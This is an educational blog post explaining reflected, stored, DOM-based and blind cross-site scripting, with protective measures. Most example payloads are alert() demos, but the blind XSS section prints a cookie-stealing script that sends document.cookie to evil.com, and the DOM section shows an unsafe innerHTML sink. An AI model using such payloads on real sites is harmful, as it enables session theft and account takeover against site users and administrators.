Startseite » Blog » XSS: A complete overview with examples

XSS: A complete overview with examples

Cross-Site Scripting remains one of the most prevalent security vulnerabilities on the web, allowing attackers to inject malicious code into websites. This vulnerability manifests in various forms, each with unique attack vectors and consequences. In this blog post, we will delve into a more detailed examination of the different variations of XSS, illustrating each with concrete examples.

TL;DR

Cross Site Scripting (XSS) is a security vulnerability that allows attackers to inject and execute malicious code into websites. There are several forms of XSS, each with different dangers and attack methods.

  1. Reflected XSS: Here the malicious code is injected via an HTTP request and immediately “reflected” to the user. This means that the malicious code is displayed directly without being saved. Attackers often lure victims with prepared links that contain the malicious code in the URL.
  2. Stored XSS: In this variant, the malicious code is permanently stored on the server, for example in a comment or a database. Anyone who visits the affected page automatically activates the malicious code, which makes the attack more sustainable and broadly effective.
  3. DOM-based XSS: This attack takes place exclusively in the browser and uses the Document Object Model (DOM). The malicious code is executed on the client side without the server being directly involved, which makes detection more difficult.
  4. Blind XSS: Here the attacker injects the code “blindly” without being able to see the direct execution. The code is stored in internal systems such as admin areas and is only executed when an internal user, e.g. an administrator, inadvertently calls it up.

Protective measures against XSS attacks include the thorough checking and filtering of user input, the use of Content Security Policy (CSP), and the secure processing of DOM manipulations. Comprehensive protection against all XSS variants increases user security and trust and supports a positive SEO ranking, as search engines reward websites that protect their users.

What is Reflected Cross Site Scripting (Reflected XSS)?

Person who sees reflected xss

Reflected cross-site scripting (Reflected XSS) is one of the most common variants of cross-site scripting attacks, in which malicious code, usually in the form of JavaScript, is injected via an HTTP request. Here, the malicious code is not stored but “reflected” – i.e. it is sent directly back to the user, e.g. in search fields, contact forms or URL parameters. Reflected XSS is particularly dangerous because the attacker can trick users into clicking on specially prepared links. Once clicked, this code can influence the victim’s browser without them being directly aware of it.

Understanding Reflected XSS: A simple example

Let’s imagine you visit a website and search for a product. The search term is then displayed in the URL and directly on the page. Let’s assume that the site does not check the input carefully enough and displays the search term directly. An attacker could exploit this by creating a manipulated URL that contains the malicious code.

A simple example of such a URL could look like this:

https://example.com/search?q=<script>alert('XSS!');</script>

If the page directly displays the value of q (here <script>alert('XSS!');</script>) without validation, the embedded JavaScript code is executed and displays a pop-up message with “XSS!”. This is of course only a harmless example, but in reality the attacker could steal sensitive data or manipulate user actions.

How does Reflected XSS work?

Reflected XSS attacks exploit vulnerabilities in the processing of user input. If the input is not filtered correctly, attackers can hide the code in the URL and disguise it as a legitimate link. When someone clicks on this link, the malicious JavaScript code is executed directly on the website – but only for the user who clicked on the link. This is why it is also called “reflected”: The code “mirrors” itself from the server back into the victim’s browser.

Having dealt with Reflected XSS in the last section, we will now take a closer look at the next variant of Cross Site Scripting: Stored XSS. While with Reflected XSS the malicious code is “reflected” and sent directly back to the user via the HTTP request, Stored XSS (also known as “Persistent XSS”) goes one step further and stores the malicious code permanently on the server. This makes this type of attack particularly dangerous and, above all, persistent.

What is Stored XSS?

Person who sees stored xss

Stored Cross Site Scripting (Stored XSS) is a type of XSS attack in which malicious code, usually in the form of JavaScript, is stored in a database or other persistent storage. For example, let’s imagine a comment field on a website that stores user input without security checks. An attacker could insert malicious JavaScript code into this field and thus “store” it permanently on the website.

The danger: Every person who visits the page with this comment is automatically confronted with the malicious code – without being prepared for it. With Reflected XSS, the attacker has to get the victim user to click on a prepared link, whereas with Stored XSS, users are infected almost automatically when they open the affected page.

A simple example of Stored XSS

Suppose you have a guestbook on your website that stores all entries in a database. If someone enters a comment like this:

<script>alert('XSS!');</script>

And this code is saved and displayed on the page without any security precautions, the following happens: Every time someone visits the page, this code is executed and displays the “XSS!” message. Of course, this is a harmless example, but an attacker could also use this code to steal sensitive data such as cookies or login data.

Here is a typical scenario:

  1. An attacker inserts the JavaScript code in the comment field and saves it.
  2. The code is saved in the database and then displayed in the comments section of the page.
  3. Every visitor to the site is now confronted with this malicious code.

Why is Stored XSS so dangerous?

Stored XSS is more dangerous than Reflected XSS because the malicious code is stored permanently. The attacker does not have to hope that a user clicks on a specific link; instead, it is sufficient for the page to be accessed. In addition, the malicious code can affect several users at the same time and trigger a “chain reaction” in which more and more visitors are infected.

Reflected XSS vs. Stored XSS

Reflected and Stored XSS have one thing in common: they exploit vulnerabilities in the processing of user input to execute malicious code. However, while Reflected XSS is triggered by direct interaction, Stored XSS is more persistent and can be spread more widely. Understanding and preventing both attacks is crucial for your website’s security and usability – not to mention SEO optimization, because Google likes secure, trustworthy sites.

Now that we have clarified the differences between Reflected XSS and Stored XSS, let’s move on to a slightly different type of cross-site scripting: DOM-based XSS. This type of XSS attack is particularly tricky because, unlike the previous two, it does not take place on server-side stored or reflected content, but exclusively in the browser’s “Document Object Model” (DOM). This makes DOM-based XSS more of a client-side problem and poses an additional challenge for web security.

What is DOM-based XSS?

Person who sees Dom based xss

DOM-based Cross Site Scripting, or DOM XSS for short, is an XSS variant in which the malicious code is executed directly in the user’s browser without involving the server. The attack therefore happens “purely in the client”: an attacker manipulates the DOM of the page so that insecure data that is processed in the browser itself is executed.

A typical scenario could be a JavaScript function that writes user input directly to the page, e.g. via document.write() or innerHTML. If this input is not processed securely, the malicious script can be executed directly in the victim’s browser.

A simple example of DOM-based XSS

Let’s assume you have a function in JavaScript that reads a message from the URL and then displays it on the page. In this case, the URL parameter msg is inserted unsecured into the DOM:

const message = new URLSearchParams(window.location.search).get('msg');
document.getElementById("output").innerHTML = message;

If an attacker generates a URL like this:

https://example.com/page?msg=<script>alert('DOM XSS!');</script>

then the JavaScript code <script>alert('DOM XSS!');</script> is integrated into the page, and the pop-up with “DOM XSS!” appears as soon as the page is loaded. This happens without the data ever reaching the server – the manipulation only takes place in the browser.

Why is DOM-based XSS dangerous?

DOM XSS is particularly difficult to detect and prevent because the attack takes place directly in the browser and in the client-side JavaScript. Traditional security measures on the server do not help here, as the server is not involved in the execution. Attackers can therefore change the behavior of the page, influence user actions and possibly even steal sensitive information – all without leaving any traces on the server.

Protection against DOM-based XSS

DOM-based XSS attacks require special attention, as many classic XSS protection mechanisms do not work here. There are some best practices to make your website more secure:

  1. Secure DOM manipulation: Never use methods like innerHTML or document.write() to insert unsecured data into the page. Instead, use methods such as textContent or setAttribute that treat input as text and do not allow HTML interpretation.
  2. Content Security Policy (CSP): CSP can also help with DOM-based XSS attacks by blocking the execution of scripts from insecure sources.
  3. Validate and escape data: All data should also be validated and escaped in JavaScript code before it is used in the DOM.

Reflected XSS vs. Stored XSS vs. DOM-based XSS

In summary, DOM-based XSS is a special form of cross-site scripting that focuses on the client-side manipulation of the DOM. In contrast to Reflected and Stored XSS, DOM XSS has nothing to do with the server – which makes it more difficult to detect and prevent. Comprehensive protection against cross-site scripting therefore relies on a combination of different security strategies for server-side and client-side security.

All three forms of XSS are dangerous, and secure web development requires knowing the potential vulnerabilities and securing them accordingly. Google rewards securely developed websites with better SEO rankings, so investing in security measures pays off in the long term not only in terms of security, but also in terms of visibility in search results.

Having gone through the more common forms of Cross Site Scripting such as Reflected, Stored and DOM-based XSS, we now come to a lesser known but extremely insidious variant: Blind XSS. This type of XSS differs in that the attacker injects the attack code but does not have direct access to the page to see how or if the code is executed. Instead, the code is triggered at a later point and often in the admin area of the application – and thus remains unnoticed for a longer period of time.

What is blind XSS?

Person who sees blind xss

Blind XSS (blind cross-site scripting) is a form of stored XSS in which the attacker deploys the malicious JavaScript code “blindly”. This means that the attacker does not see the result of the attack directly, but relies on someone – often an administrator or support employee – unintentionally triggering the malicious code later when they visit the affected page. Blind XSS is often placed in support tickets, feedback forms or other internal systems, where the code is stored and queried by an internal user at some point.

An example of blind XSS

Suppose a website has a feedback form where users can leave comments. An attacker could enter malicious JavaScript code here instead of a normal comment:

<script>fetch('https://evil.com/steal?cookie=' + document.cookie);</script>

The code is stored in the database and is initially not visible to anyone. Later, when an admin or support employee opens the feedback message in their admin dashboard, the code is executed unnoticed and the admin’s cookies are sent to the specified URL. In this case, the attacker could potentially use this stolen information to access privileged areas.

Why is blind XSS so dangerous?

Blind XSS is particularly treacherous because the attacker receives no direct feedback as to whether the attack has worked. Instead, the malicious code “waits” for someone to execute it, which makes it more difficult to detect. Security measures on the client side are also often useless here, as the threat remains internal and unnoticed. Blind XSS is therefore difficult to debug and is often only noticed when it is already too late.

Protection against blind XSS

Blind XSS requires special protective measures because classic security mechanisms are often not sufficient. Here are some tips to protect yourself against blind XSS:

  1. Escape and validate input: All data that users enter – even if it seems “harmless” – should be escaped and thoroughly validated before it is displayed.
  2. Sandboxing and isolation: Sensitive admin areas should be isolated so that scripts cannot cause any damage. Use modern security features such as iframe sandboxing and content security policy(CSP) to severely restrict scripts.
  3. Additional security protocols for internal tools: Admin areas and other internal systems should be specially secured and regularly audited for potential XSS attack code.
  4. Use XSS audit tools: Tools such as XSS Hunter can help detect blind XSS vulnerabilities. They show the attacker if and when his payload has been executed and thus offer a way to test the code in advance without carrying out a real attack.

Blind XSS compared to other XSS attacks

In contrast to Reflected, Stored and DOM-based XSS, Blind XSS is particularly dangerous as it relies on the interaction of other users, usually administrators. This XSS variant is more subtle and difficult to detect, as the attack is often hidden deep within internal systems and is only triggered when an internal user executes the malicious code. Comprehensive XSS protection, which also takes blind XSS into account, not only ensures greater security, but also contributes to long-term SEO optimization. This is because Google rewards websites that reliably protect their users and data.

Protection against XSS

CIA Agents in the cyber world

To protect you and your website from XSS, all user input should be carefully validated and filtered. Here are some simple steps:

  1. Escape input – Make sure all special HTML characters (such as <, >, &, etc.) are escaped.
  2. Content Security Policy (CSP) – A well-configured CSP can significantly reduce the damage of an XSS attack.
  3. Server-side validation – Check input on the server side to ensure that no malicious code is executed.

XSS and SEO: Why should you care?

Workers who improve security

It is particularly important for SEO and user-friendliness that your website remains secure and trustworthy. Google and other search engines prefer secure sites and may even penalize insecure sites. A XSS vulnerability can not only damage your website’s reputation, but also negatively impact SEO rankings.

Scroll to Top
WordPress Cookie Plugin by Real Cookie Banner